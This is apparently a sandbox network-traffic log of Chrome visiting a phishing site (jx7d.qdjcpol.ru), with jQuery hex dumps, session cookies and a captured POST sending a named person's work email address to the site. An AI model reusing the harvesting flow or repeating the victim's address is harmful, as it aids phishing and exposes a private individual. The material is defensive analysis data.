t=S.find.attr(e,"value");return null!=t?t:ht(S.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i
2025-03-19 09:46:44 UTC	1378	IN	Data Raw: 6d 65 73 70 61 63 65 3d 65 2e 6e 61 6d 65 73 70 61 63 65 3f 6e 65 77 20 52 65 67 45 78 70 28 22 28 5e 7c 5c 5c 2e 29 22 2b 68 2e 6a 6f 69 6e 28 22 5c 5c 2e 28 3f 3a 2e 2a 5c 5c 2e 7c 29 22 29 2b 22 28 5c 5c 2e 7c 24 29 22 29 3a 6e 75 6c 6c 2c 65 2e 72 65 73 75 6c 74 3d 76 6f 69 64 20 30 2c 65 2e 74 61 72 67 65 74 7c 7c 28 65 2e 74 61 72 67 65 74 3d 6e 29 2c 74 3d 6e 75 6c 6c 3d 3d 74 3f 5b 65 5d 3a 53 2e 6d 61 6b 65 41 72 72 61 79 28 74 2c 5b 65 5d 29 2c 63 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 5b 64 5d 7c 7c 7b 7d 2c 72 7c 7c 21 63 2e 74 72 69 67 67 65 72 7c 7c 21 31 21 3d 3d 63 2e 74 72 69 67 67 65 72 2e 61 70 70 6c 79 28 6e 2c 74 29 29 29 7b 69 66 28 21 72 26 26 21 63 2e 6e 6f 42 75 62 62 6c 65 26 26 21 78 28 6e 29 29 7b 66 6f 72 28 73 3d 63 Data Ascii: mespace=e.namespace?new RegExp("(^\|\\.)"+h.join("\\.(?:.*\\.\|)")+"(\\.\|$)"):null,e.result=void 0,e.target\|\|(e.target=n),t=null==t?[e]:S.makeArray(t,[e]),c=S.event.special[d]\|\|{},r\|\|!c.trigger\|\|!1!==c.trigger.apply(n,t))){if(!r&&!c.noBubble&&!x(n)){for(s=c
2025-03-19 09:46:44 UTC	1378	IN	Data Raw: 28 65 29 29 7d 3b 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 5b 72 5d 3d 7b 73 65 74 75 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 68 69 73 2e 64 6f 63 75 6d 65 6e 74 7c 7c 74 68 69 73 2c 74 3d 59 2e 61 63 63 65 73 73 28 65 2c 72 29 3b 74 7c 7c 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 6e 2c 69 2c 21 30 29 2c 59 2e 61 63 63 65 73 73 28 65 2c 72 2c 28 74 7c 7c 30 29 2b 31 29 7d 2c 74 65 61 72 64 6f 77 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 68 69 73 2e 64 6f 63 75 6d 65 6e 74 7c 7c 74 68 69 73 2c 74 3d 59 2e 61 63 63 65 73 73 28 65 2c 72 29 2d 31 3b 74 3f 59 2e 61 63 63 65 73 73 28 65 Data Ascii: (e))};S.event.special[r]={setup:function(){var e=this.ownerDocument\|\|this.document\|\|this,t=Y.access(e,r);t\|\|e.addEventListener(n,i,!0),Y.access(e,r,(t\|\|0)+1)},teardown:function(){var e=this.ownerDocument\|\|this.document\|\|this,t=Y.access(e,r)-1;t?Y.access(e
2025-03-19 09:46:44 UTC	1378	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 53 2e 70 72 6f 70 28 74 68 69 73 2c 22 65 6c 65 6d 65 6e 74 73 22 29 3b 72 65 74 75 72 6e 20 65 3f 53 2e 6d 61 6b 65 41 72 72 61 79 28 65 29 3a 74 68 69 73 7d 29 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 74 79 70 65 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 6e 61 6d 65 26 26 21 53 28 74 68 69 73 29 2e 69 73 28 22 3a 64 69 73 61 62 6c 65 64 22 29 26 26 6b 74 2e 74 65 73 74 28 74 68 69 73 2e 6e 6f 64 65 4e 61 6d 65 29 26 26 21 53 74 2e 74 65 73 74 28 65 29 26 26 28 74 68 69 73 2e 63 68 65 63 6b 65 64 7c 7c 21 70 65 2e 74 65 73 74 28 65 29 29 7d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e Data Ascii: unction(){return this.map(function(){var e=S.prop(this,"elements");return e?S.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!S(this).is(":disabled")&&kt.test(this.nodeName)&&!St.test(e)&&(this.checked\|\|!pe.test(e))}).map(function
2025-03-19 09:46:44 UTC	1378	IN	Data Raw: 70 72 6f 74 6f 63 6f 6c 29 2c 67 6c 6f 62 61 6c 3a 21 30 2c 70 72 6f 63 65 73 73 44 61 74 61 3a 21 30 2c 61 73 79 6e 63 3a 21 30 2c 63 6f 6e 74 65 6e 74 54 79 70 65 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 2c 61 63 63 65 70 74 73 3a 7b 22 2a 22 3a 52 74 2c 74 65 78 74 3a 22 74 65 78 74 2f 70 6c 61 69 6e 22 2c 68 74 6d 6c 3a 22 74 65 78 74 2f 68 74 6d 6c 22 2c 78 6d 6c 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 6d 6c 2c 20 74 65 78 74 2f 78 6d 6c 22 2c 6a 73 6f 6e 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 2c 20 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 7d 2c 63 6f 6e 74 65 6e 74 73 3a 7b 78 6d 6c 3a 2f 5c 62 78 6d 6c 5c 62 2f Data Ascii: protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Rt,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/
2025-03-19 09:46:44 UTC	1378	IN	Data Raw: 20 65 29 77 5b 74 5d 3d 5b 77 5b 74 5d 2c 65 5b 74 5d 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 2c 61 62 6f 72 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 7c 7c 75 3b 72 65 74 75 72 6e 20 63 26 26 63 2e 61 62 6f 72 74 28 74 29 2c 6c 28 30 2c 74 29 2c 74 68 69 73 7d 7d 3b 69 66 28 78 2e 70 72 6f 6d 69 73 65 28 54 29 2c 76 2e 75 72 6c 3d 28 28 65 7c 7c 76 2e 75 72 6c 7c 7c 62 74 2e 68 72 65 66 29 2b 22 22 29 2e 72 65 70 6c 61 63 65 28 48 74 2c 62 74 2e 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 22 29 2c 76 2e 74 79 70 65 3d 74 2e 6d 65 74 68 6f 64 7c 7c 74 2e 74 79 70 65 7c 7c 76 2e 6d 65 74 68 6f 64 7c 7c 76 2e 74 79 70 65 2c 76 2e 64 61 74 61 54 79 70 65 73 3d 28 76 2e 64 61 74 61 54 79 70 65 7c 7c 22 2a 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 Data Ascii: e)w[t]=[w[t],e[t]];return this},abort:function(e){var t=e\|\|u;return c&&c.abort(t),l(0,t),this}};if(x.promise(T),v.url=((e\|\|v.url\|\|bt.href)+"").replace(Ht,bt.protocol+"//"),v.type=t.method\|\|t.type\|\|v.method\|\|v.type,v.dataTypes=(v.dataType\|\|"*").toLowerCas
2025-03-19 09:46:44 UTC	1378	IN	Data Raw: 65 73 5b 30 5d 5d 3f 76 2e 61 63 63 65 70 74 73 5b 76 2e 64 61 74 61 54 79 70 65 73 5b 30 5d 5d 2b 28 22 2a 22 21 3d 3d 76 2e 64 61 74 61 54 79 70 65 73 5b 30 5d 3f 22 2c 20 22 2b 52 74 2b 22 3b 20 71 3d 30 2e 30 31 22 3a 22 22 29 3a 76 2e 61 63 63 65 70 74 73 5b 22 2a 22 5d 29 2c 76 2e 68 65 61 64 65 72 73 29 54 2e 73 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 69 2c 76 2e 68 65 61 64 65 72 73 5b 69 5d 29 3b 69 66 28 76 2e 62 65 66 6f 72 65 53 65 6e 64 26 26 28 21 31 3d 3d 3d 76 2e 62 65 66 6f 72 65 53 65 6e 64 2e 63 61 6c 6c 28 79 2c 54 2c 76 29 7c 7c 68 29 29 72 65 74 75 72 6e 20 54 2e 61 62 6f 72 74 28 29 3b 69 66 28 75 3d 22 61 62 6f 72 74 22 2c 62 2e 61 64 64 28 76 2e 63 6f 6d 70 6c 65 74 65 29 2c 54 2e 64 6f 6e 65 28 76 2e 73 75 63 63 65 73 73 Data Ascii: es[0]]?v.accepts[v.dataTypes[0]]+(""!==v.dataTypes[0]?", "+Rt+"; q=0.01":""):v.accepts[""]),v.headers)T.setRequestHeader(i,v.headers[i]);if(v.beforeSend&&(!1===v.beforeSend.call(y,T,v)\|\|h))return T.abort();if(u="abort",b.add(v.complete),T.done(v.success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49754	35.190.80.1	443	7712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 09:46:44 UTC	509	OUT	POST /report/v4?s=AW9JS5bPz0%2F0qbZZ2BVz%2F5yvHaONAMGina2eCeYEgVWJUNrdafFbp2k5OICucR7CzM8BzgVO3epfKywzGsRWNkqGwRF8iJ7KMvSfSzw%2BQdI22elht9S%2FWBYcCI45 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 415 Content-Type: application/reports+json Origin: https://jx7d.qdjcpol.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 09:46:44 UTC	415	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 35 32 37 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 37 38 2e 36 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6a 78 37 64 2e 71 64 6a 63 70 6f 6c 2e 72 75 2f 66 73 Data Ascii: [{"age":0,"body":{"elapsed_time":527,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.78.6","status_code":404,"type":"http.error"},"type":"network-error","url":"https://jx7d.qdjcpol.ru/fs
2025-03-19 09:46:44 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Wed, 19 Mar 2025 09:46:44 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49749	104.21.78.6	443	7712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 09:46:44 UTC	1451	OUT	POST /lmALWfU5ETUyvmQJOvfdzGr4iZ3aSLxowqT4KvwEqNKwECbl9Cew HTTP/1.1 Host: jx7d.qdjcpol.ru Connection: keep-alive Content-Length: 43 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://jx7d.qdjcpol.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://jx7d.qdjcpol.ru/WpB8P/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InNYclZveHhtR1Ryd050cUI4cjBjaEE9PSIsInZhbHVlIjoiMVR5a3NvcGFrR0svY3Vna3g5d1dHbWRwa01VbFo0S3hNQkZOWURqVzBKeDVlYlJ6MlVRd2FDb3QyR2VSKzN6VkJxcTJ2SUVkaENyT1pZWUpyVDZRei93SGMxNVRnVVNlWmpxc21ESGNkTG93L1BqSERzMG91YTZDUDZzR1BqN2ciLCJtYWMiOiJmOWE4MjcxMjc3MTRmZDk2MmNhZjNjOTZkMWQwYTY2ZjIxMDkzMzJmZWZhZGUxNzlhZGVmMTczNzIwYTJhMzc4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZBaWwrQkYzWVdDOUlNelY3eklPRUE9PSIsInZhbHVlIjoiZjlHekoxOWFIRjcrZ0ozdkpMb2VnNjUvTHpQY3ptN0ZwWFYyMlI2dzVJVU1aOXVEeGpZcFo0aW1oM3JjcTlqNG15RGxjUWdKRWpUOC92TlZCMVZmQUxGN1dVR2paaGNocnRBamxDZWp2bDF1NGU3Wm4xanVsNXBocTYxdU5tQXgiLCJtYWMiOiI4N2VkY2ZkYjhjMWNhYTM1YjVkYTRiOGZhNjY0MjZhYjBmMWNhNmZmMzVlYjdjNWE1NmVkMDcyZjQ4MzA3YjQ5IiwidGFnIjoiIn0%3D
2025-03-19 09:46:44 UTC	43	OUT	Data Raw: 64 61 74 61 3d 61 4b 6d 65 6c 61 6e 69 65 2e 77 61 6c 74 6f 6e 25 34 30 73 70 69 72 65 68 65 61 6c 74 68 63 61 72 65 2e 63 6f 6d Data Ascii: data=aKmelanie.walton%40spirehealthcare.com
2025-03-19 09:46:44 UTC	1202	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 09:46:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UlhYwlPnXrryrO86Aa9iibIUELo79hSTerwNxdZcIlnFqHX2LzWMMQlNvh6W5Xg8Y6QP0dOph7ojHl%2FLwnRkdeocqO5ovs3cHHeX8GFWRl3UIJodML2RARDHI3Ru"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=16261&min_rtt=16219&rtt_var=4585&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2403&delivery_rate=248739&cwnd=252&unsent_bytes=0&cid=0179e4a3e1e4f75c&ts=195&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IktPUDhRZHlBcll0bjVUdzBWVndNc1E9PSIsInZhbHVlIjoidkxQeTNwZm93b2ZPcjdEcDYyTUJneFFzLzNGUzBFR0dnYXBHb21HQ3J4ZlgwbVpUTXpNUmdrZkp3bldIWlZKZGNsTTk0MjJPWXJKb2ZlRVU2Yk5CV2Rkb3E0VnU2R1VHYnI5dEpkVk1LaDF6V3JOOUJ2ZFpiZ3NaOXE2cFEvTTAiLCJtYWMiOiIxMzJkYjVhNzA2ZDMyYmY0NWQ3NDg1OGRmYzczNjYyMmU1NDFjNzIyYmQwZGQwYzJlNDk5YTU1MWM3MGM5NTFlIiwidGFnIjoiIn0%3D; expires=Wed, 19-Mar-2025 11:46:44 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-19 09:46:44 UTC	761	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 46 4e 5a 47 4e 51 52 56 52 51 63 6d 45 72 5a 43 74 73 53 32 78 4a 59 6b 5a 54 4d 56 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 56 58 70 77 52 54 64 73 64 6a 6c 4f 57 6d 68 7a 63 58 6f 72 64 53 74 47 53 57 46 54 65 6a 56 70 55 55 38 72 53 6c 51 79 4e 46 56 54 62 48 63 7a 64 55 74 45 59 32 4a 49 55 48 49 78 57 56 45 79 4d 57 70 7a 52 45 56 53 62 6a 4a 6d 52 7a 6c 7a 4f 47 74 5a 64 32 68 49 64 6b 6c 45 52 55 5a 59 56 47 74 6f 4d 47 6c 53 53 32 4e 5a 55 7a 68 79 57 47 45 78 64 57 70 4d 61 6e 52 6d 63 7a 6c 7a 4e 6b 68 6d 61 55 4e 48 4c 7a 4e 33 52 6d 35 30 65 57 6c 56 57 69 39 6c 4d 31 6c 4c 62 46 51 7a 52 32 78 6a 51 54 63 31 65 48 45 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkFNZGNQRVRQcmErZCtsS2xJYkZTMVE9PSIsInZhbHVlIjoiVXpwRTdsdjlOWmhzcXordStGSWFTejVpUU8rSlQyNFVTbHczdUtEY2JIUHIxWVEyMWpzREVSbjJmRzlzOGtZd2hIdklERUZYVGtoMGlSS2NZUzhyWGExdWpManRmczlzNkhmaUNHLzN3Rm50eWlVWi9lM1lLbFQzR2xjQTc1eHE
2025-03-19 09:46:44 UTC	318	IN	Data Raw: 31 33 37 0d 0a 7b 22 61 22 3a 22 6c 41 5a 76 5a 4e 64 45 7a 4f 4f 67 33 4f 56 50 39 79 66 7a 70 6f 52 6c 68 44 65 73 59 6f 71 75 5a 77 35 72 56 4d 67 52 75 67 56 63 73 4d 33 76 58 61 41 2b 70 2b 74 58 65 58 37 57 67 36 43 65 31 45 75 68 5c 2f 5c 2f 6f 35 55 49 33 68 75 6b 73 2b 78 76 6d 6b 30 47 64 6e 73 49 74 66 2b 65 57 74 70 35 77 39 76 36 6c 6d 72 66 6d 71 4d 53 65 4a 34 41 62 6c 67 55 44 43 33 53 32 49 78 77 4a 57 76 36 67 56 32 42 56 47 48 67 64 46 6a 78 4a 7a 67 63 64 64 31 67 3d 3d 22 2c 22 62 22 3a 22 32 66 62 30 63 33 39 38 64 36 62 65 30 62 37 34 36 37 66 66 30 37 32 35 36 36 37 38 66 65 38 34 22 2c 22 63 22 3a 22 33 64 38 33 61 34 30 37 36 66 31 61 62 61 31 65 66 35 62 37 31 34 38 65 61 32 37 37 64 65 61 63 22 2c 22 64 22 3a 22 33 38 33 32 36 Data Ascii: 137{"a":"lAZvZNdEzOOg3OVP9yfzpoRlhDesYoquZw5rVMgRugVcsM3vXaA+p+tXeX7Wg6Ce1Euh\/\/o5UI3huks+xvmk0GdnsItf+eWtp5w9v6lmrfmqMSeJ4AblgUDC3S2IxwJWv6gV2BVGHgdFjxJzgcdd1g==","b":"2fb0c398d6be0b7467ff07256678fe84","c":"3d83a4076f1aba1ef5b7148ea277deac","d":"38326
2025-03-19 09:46:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49755	104.21.78.6	443	7712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 09:46:44 UTC	1322	OUT	GET /favicon.ico HTTP/1.1 Host: jx7d.qdjcpol.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://jx7d.qdjcpol.ru/WpB8P/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InNYclZveHhtR1Ryd050cUI4cjBjaEE9PSIsInZhbHVlIjoiMVR5a3NvcGFrR0svY3Vna3g5d1dHbWRwa01VbFo0S3hNQkZOWURqVzBKeDVlYlJ6MlVRd2FDb3QyR2VSKzN6VkJxcTJ2SUVkaENyT1pZWUpyVDZRei93SGMxNVRnVVNlWmpxc21ESGNkTG93L1BqSERzMG91YTZDUDZzR1BqN2ciLCJtYWMiOiJmOWE4MjcxMjc3MTRmZDk2MmNhZjNjOTZkMWQwYTY2ZjIxMDkzMzJmZWZhZGUxNzlhZGVmMTczNzIwYTJhMzc4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZBaWwrQkYzWVdDOUlNelY3eklPRUE9PSIsInZhbHVlIjoiZjlHekoxOWFIRjcrZ0ozdkpMb2VnNjUvTHpQY3ptN0ZwWFYyMlI2dzVJVU1aOXVEeGpZcFo0aW1oM3JjcTlqNG15RGxjUWdKRWpUOC92TlZCMVZmQUxGN1dVR2paaGNocnRBamxDZWp2bDF1NGU3Wm4xanVsNXBocTYxdU5tQXgiLCJtYWMiOiI4N2VkY2ZkYjhjMWNhYTM1YjVkYTRiOGZhNjY0MjZhYjBmMWNhNmZmMzVlYjdjNWE1NmVkMDcyZjQ4MzA3YjQ5IiwidGFnIjoiIn0%3D
2025-03-19 09:46:44 UTC	835	IN	HTTP/1.1 404 Not Found Date: Wed, 19 Mar 2025 09:46:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YRpKB8sMTYj556fNWu6jvbaoVlx1DmQwoH1ksy%2Fh0R6coGvOEBBR7oE9FVRzeave0mvdXfxRwBahhViqbb5rwt50jufSdRL9OZ7HQsORk%2Fyq7ruYoNXcriEFS7gH"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server-Timing: cfL4;desc="?proto=TCP&rtt=362&min_rtt=353&rtt_var=116&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2231&delivery_rate=10160804&cwnd=252&unsent_bytes=0&cid=2bab914282de2818&ts=172&x=0" Cache-Control: max-age=14400 Cf-Cache-Status: EXPIRED CF-RAY: 922c0b5c39f5d348-FRA alt-svc: h3=":443"; ma=86400
2025-03-19 09:46:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49756	104.21.78.6	443	7712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 09:46:44 UTC	1154	OUT	GET /lmALWfU5ETUyvmQJOvfdzGr4iZ3aSLxowqT4KvwEqNKwECbl9Cew HTTP/1.1 Host: jx7d.qdjcpol.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IktPUDhRZHlBcll0bjVUdzBWVndNc1E9PSIsInZhbHVlIjoidkxQeTNwZm93b2ZPcjdEcDYyTUJneFFzLzNGUzBFR0dnYXBHb21HQ3J4ZlgwbVpUTXpNUmdrZkp3bldIWlZKZGNsTTk0MjJPWXJKb2ZlRVU2Yk5CV2Rkb3E0VnU2R1VHYnI5dEpkVk1LaDF6V3JOOUJ2ZFpiZ3NaOXE2cFEvTTAiLCJtYWMiOiIxMzJkYjVhNzA2ZDMyYmY0NWQ3NDg1OGRmYzczNjYyMmU1NDFjNzIyYmQwZGQwYzJlNDk5YTU1MWM3MGM5NTFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkFNZGNQRVRQcmErZCtsS2xJYkZTMVE9PSIsInZhbHVlIjoiVXpwRTdsdjlOWmhzcXordStGSWFTejVpUU8rSlQyNFVTbHczdUtEY2JIUHIxWVEyMWpzREVSbjJmRzlzOGtZd2hIdklERUZYVGtoMGlSS2NZUzhyWGExdWpManRmczlzNkhmaUNHLzN3Rm50eWlVWi9lM1lLbFQzR2xjQTc1eHEiLCJtYWMiOiJjOWEyYjI5NTg0ODIwODUyYWNmYzE4OTYxYThjYjkxNDI1NGVkNWM3NGQ4OGEyYjI4MWMwZGE0ZWYyZTA0ZWUxIiwidGFnIjoiIn0%3D
2025-03-19 09:46:45 UTC	1024	IN	HTTP/1.1 404 Not Found Date: Wed, 19 Mar 2025 09:46:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f9fmxit0Dz%2FGezqENuNn5Wobzg5m5bUb5HyUvktGr5Y%2Bp5U1aI1h6Rz3NNcSfq2eb%2FX6Xq0ivlb2hByYTKvCXbQNmYInAO8c8YEDnQyv12pgu2BeqxMbutk5%2FsFu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=18481&min_rtt=18455&rtt_var=5208&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2063&delivery_rate=218630&cwnd=245&unsent_bytes=0&cid=59472a38a588d1c2&ts=204&x=0" Server: cloudflare CF-RAY: 922c0b5f8dfe9b45-FRA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=518&min_rtt=478&rtt_var=208&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2820&recv_bytes=1726&delivery_rate=6058577&cwnd=241&unsent_bytes=0&cid=fa3fee18c0eea6c2&ts=518&x=0"
2025-03-19 09:46:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49757	104.21.78.6	443	7712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 09:46:45 UTC	1496	OUT	GET /uibxkchnlxoeljctjdujdmvzqmhvzXJZEDP76OIN5YYX9QR5N8?INPOFLFWLGHPBXSLYRWTDKYOQCMEN HTTP/1.1 Host: jx7d.qdjcpol.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://jx7d.qdjcpol.ru/WpB8P/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IktPUDhRZHlBcll0bjVUdzBWVndNc1E9PSIsInZhbHVlIjoidkxQeTNwZm93b2ZPcjdEcDYyTUJneFFzLzNGUzBFR0dnYXBHb21HQ3J4ZlgwbVpUTXpNUmdrZkp3bldIWlZKZGNsTTk0MjJPWXJKb2ZlRVU2Yk5CV2Rkb3E0VnU2R1VHYnI5dEpkVk1LaDF6V3JOOUJ2ZFpiZ3NaOXE2cFEvTTAiLCJtYWMiOiIxMzJkYjVhNzA2ZDMyYmY0NWQ3NDg1OGRmYzczNjYyMmU1NDFjNzIyYmQwZGQwYzJlNDk5YTU1MWM3MGM5NTFlIiwidGFnIjoiIn0%3D; 